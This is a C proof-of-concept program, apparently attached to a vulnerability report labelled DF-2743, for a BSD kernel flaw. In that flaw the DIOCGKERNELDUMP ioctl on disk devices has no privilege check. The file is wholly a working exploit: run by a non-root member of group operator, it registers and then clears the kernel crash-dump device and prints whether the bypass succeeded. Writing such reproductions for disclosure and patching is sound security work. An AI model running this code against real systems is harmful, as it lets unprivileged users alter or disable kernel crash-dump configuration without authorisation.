DF-2743 / poc2743.c
/* * DF-2743 PoC -- DIOCGKERNELDUMP requires no privilege. * * sys/kern/subr_disk.c:1186-1189 forwards DIOCGKERNELDUMP straight to * disk_dumpconf() -> set_dumper() (sys/kern/kern_shutdown.c:949-961) with * no priv_check/caps_priv_check and no FWRITE gate. Any principal that can * open a cooked disk node (group operator on the 0640 root:operator nodes) * can register or clear the crash dumper. * * Run as a member of group operator (NOT root): * ./poc2743 /dev/vn0 * Expect: enable -> 0, second enable -> EBUSY (proof the dumper got * registered), disable -> 0. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/diskslice.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { int fd, r; u_int u; if (argc < 2) { fprintf(stderr, "usage: %s <diskdev>\n", argv[0]); return 2; } printf("uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid()); fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); return 1; } u = 1; r = ioctl(fd, DIOCGKERNELDUMP, &u); printf("DIOCGKERNELDUMP(enable) -> %d errno=%d (%s)\n", r, errno, r ? strerror(errno) : "OK"); if (r != 0) { printf("NOT reproduced (enable failed)\n"); return 1; } r = ioctl(fd, DIOCGKERNELDUMP, &u); printf("DIOCGKERNELDUMP(enable2) -> %d errno=%d (%s)\n", r, errno, r ? strerror(errno) : "OK"); if (r == 0 || errno != EBUSY) printf("unexpected (expected EBUSY if dumper registered)\n"); else printf("dumper IS registered by this unprivileged-ioctl caller\n"); u = 0; r = ioctl(fd, DIOCGKERNELDUMP, &u); printf("DIOCGKERNELDUMP(disable) -> %d errno=%d (%s)\n", r, errno, r ? strerror(errno) : "OK"); if (r == 0) printf("REPRODUCED: operator-class caller set and cleared the" " kernel dump device without any privilege check\n"); return 0; } |